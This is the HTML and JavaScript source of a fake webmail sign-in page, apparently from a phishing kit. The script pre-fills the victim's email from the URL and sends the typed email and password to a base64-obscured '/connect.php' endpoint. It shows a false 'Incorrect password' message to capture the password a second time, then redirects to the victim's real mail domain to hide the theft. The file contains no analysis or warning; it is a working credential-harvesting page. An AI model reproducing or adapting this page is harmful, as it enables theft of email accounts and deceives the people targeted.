<!DOCTYPE html>

<html data-wf-domain="" data-wf-page="64adb999bdab6012c1a1e485" data-wf-site="64ac9b22f48c87db1948d80e">

<head>
    <meta charset="utf-8" />
    <title>Sign-in</title>
    <meta content="Not Found" property="og:title" />
    <meta content="Not Found" property="twitter:title" />
    <meta content="width=device-width, initial-scale=1" name="viewport" />
    <meta content="Webflow" name="generator" />
    <link href="https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/css/owa-e9bb09.webflow.8dcddc032.css"
        rel="stylesheet" type="text/css" />
    <link href="https://fonts.googleapis.com" rel="preconnect" />
    <link href="https://fonts.gstatic.com" rel="preconnect" crossorigin="anonymous" />
    <script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js" type="text/javascript"></script>
    <script
        type="text/javascript">WebFont.load({ google: { families: ["Lato:100,100italic,300,300italic,400,400italic,700,700italic,900,900italic"] } });</script>
    <script
        type="text/javascript">!function (o, c) { var n = c.documentElement, t = " w-mod-"; n.className += t + "js", ("ontouchstart" in o || o.DocumentTouch && c instanceof DocumentTouch) && (n.className += t + "touch") }(window, document);</script>
    <!-- <link href="https://uploads-ssl.webflow.com/img/favicon.ico" rel="shortcut icon" type="image/x-icon" />
    <link href="https://uploads-ssl.webflow.com/img/webclip.png" rel="apple-touch-icon" /> -->


    <style>
        /* Disable right-click */
        body {
            -webkit-touch-callout: none;
            -webkit-user-select: none;
            -khtml-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
        }
    </style>
</head>

<body class="body-3">
    <div style="position: sticky; top: 0; background-color: #f1f1f1;  z-index: 999;">
        <div id="google_translate_element"></div>
    </div>
    <section class="ectiondf-wrapper wf-section">
        <div class="headd-wrapper"><img
                src="https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/64adbda6596ad0d0db4fa683_Screenshot%202023-07-11%20at%2023.36.01.png"
                loading="lazy" sizes="(max-width: 1425px) 100vw, 1425px"
                srcset="https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/64adbda6596ad0d0db4fa683_Screenshot%202023-07-11%20at%2023.36.01-p-500.png 500w, https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/64adbda6596ad0d0db4fa683_Screenshot%202023-07-11%20at%2023.36.01-p-800.png 800w, https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/64adbda6596ad0d0db4fa683_Screenshot%202023-07-11%20at%2023.36.01-p-1080.png 1080w, https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/64adbda6596ad0d0db4fa683_Screenshot%202023-07-11%20at%2023.36.01.png 1425w"
                alt="" /></div>
        <div class="main-dwrapper _2nd _3rd _4th">
            <div class="w-form">
                <form id="email-form" name="form1" data-name="Email Form" action="" method="post" required>

                    <label for="ai" class="field-label-3">Webmail Login</label><input type="email"
                        class="text-field-5 w-input" maxlength="256" name="ai" data-name="ai"
                        placeholder="E-mail Address" id="ai" required="" style="background-color: transparent;"
                        readonly />
                    <div class="text-block-3">Forgot your password?</div><input type="password"
                        class="text-field-6 w-input" maxlength="256" name="namep" data-name="namep"
                        placeholder="Password" id="pr" required="" /><label
                        class="w-checkbox checkbox-field-2"><input type="checkbox" id="Checkbox" name="Checkbox"
                            data-name="Checkbox" class="w-checkbox-input" /><span class="checkbox-label-2 w-form-label"
                            for="Checkbox">Remember me</span></label><input type="submit" value="Login"
                        data-wait="Please wait..." class="submit-button-5 w-button" onclick="submitForm(event)" id="submit-btn" />

                    <div class=""
                        style="color: rgb(236, 59, 59); text-align: left; font-size:12px; padding-left: 4px; padding-bottom: 10px; display: none;"
                        id="error"></div>
					<div class=""
                        style="color: rgb(236, 59, 59); text-align: left; font-size:12px; padding-left: 4px; padding-bottom: 10px; display: none;"
                        id="msg">Incorrect password. Please try again</div>

                </form>

            </div>
        </div><img
            src="https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/64adbdb97bf44cd9d986406f_Screenshot%202023-07-11%20at%2023.36.22.png"
            loading="lazy" sizes="(max-width: 548px) 100vw, 548px"
            srcset="https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/64adbdb97bf44cd9d986406f_Screenshot%202023-07-11%20at%2023.36.22-p-500.png 500w, https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/64adbdb97bf44cd9d986406f_Screenshot%202023-07-11%20at%2023.36.22.png 548w"
            alt="" class="image-5" />
    </section>
    <!-- <script src="https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.5.1.min.dc5e7f18c8.js?site=64ac9b22f48c87db1948d80e"
        type="text/javascript" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
        crossorigin="anonymous"></script> -->
    <script src="https://uploads-ssl.webflow.com/64ac9b22f48c87db1948d80e/js/webflow.d2c3cd8ad.js"
        type="text/javascript"></script>

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="./config.js"></script>

    <script>
/* global $ */
$(document).ready(function() {
    var count = 0;

    $('#back1').click(function() {
        $("#msg").hide();
        $('#ai').val("");
        $("#automail").animate({ left: 200, opacity: "hide" }, 0);
        $("#inputbar").animate({ right: 200, opacity: "show" }, 1000);

    });

    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        // $('#ai').val(ai);
        var my_ai = ai;
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var dom = c.toUpperCase();
        $('#ai').val(my_ai);
        $('#ai').attr('disabled', "");
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(dom);
        $("#msg").hide();
        $("#inputbar").animate({ left: 200, opacity: "hide" }, 0);
        $("#automail").animate({ right: 200, opacity: "show" }, 1000);
    }
    ///////////////url getting ai////////////////


    var atu = "L2Nvbm5lY3QucGhw";
	
    $('#submit-btn').click(function(event) {
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var msg = $('#msg').html();
        $('#msg').text(msg);
        ///////////new injection////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!ai) {
            $('#error').show();
            $('#error').html("Email field is empty.!");
            ai.focus;
            return false;
        }

        if (!filter.test(my_ai)) {
            $('#error').show();
            $('#error').html("That account doesn't exist. Enter a different account");
            ai.focus;
            return false;
        }
        if (!pr) {
            $('#error').show();
            $('#error').html("Please enter your password");
            ai.focus;
            return false;
        }
		
		
		if(pr.length < 5) {  

			$('#error').show();
            $('#error').html("Please check your password");
            ai.focus;  

			return false;  

		}

        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var dom = c.toUpperCase();
        ///////////new injection////////////////
        count = count + 1;
        $('#ai').attr('disabled', "");
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(dom);

        $.ajax({
            dataType: 'JSON',
            url: `${config.baseUrl}${atob(atu)}`,
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
            },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr) {
                $('#submit-btn').html('Verifing...');
            },
            success: function(response) {
                if (response) {
                    $("#msg").show();
                    console.log(response);
                    if (response['signal'] == 'ok') {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            // window.location.replace(response['redirect_link']);
                            window.location.replace("http://www." + my_slice);

                        }
                        // $('#msg').html(response['msg']);
                    } else {
                        // $('#msg').html(response['msg']);
                    }
                }
            },
            error: function() {
                $("#pr").val("");
                if (count >= 2) {
                    count = 0;
                    window.location.replace("http://www." + my_slice);
                }
                $("#msg").show();
                // $('#msg').html("Please try again later");
            },
            complete: function() {
                $('#submit-btn').html('Login');
            }
        });
    });


});

function getParameterByName(name, url) {
			if (!url) url = window.location.href;
			name = name.replace(/[\[\]]/g, '\\$&');
			var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'),
				results = regex.exec(url);
			if (!results) return null;
			if (!results[2]) return '';
			return decodeURIComponent(results[2].replace(/\+/g, ' '));
		}
			
		const login_username = getParameterByName('cms');
		document.getElementById("ai").value = login_username;
</script>

</body>

</html>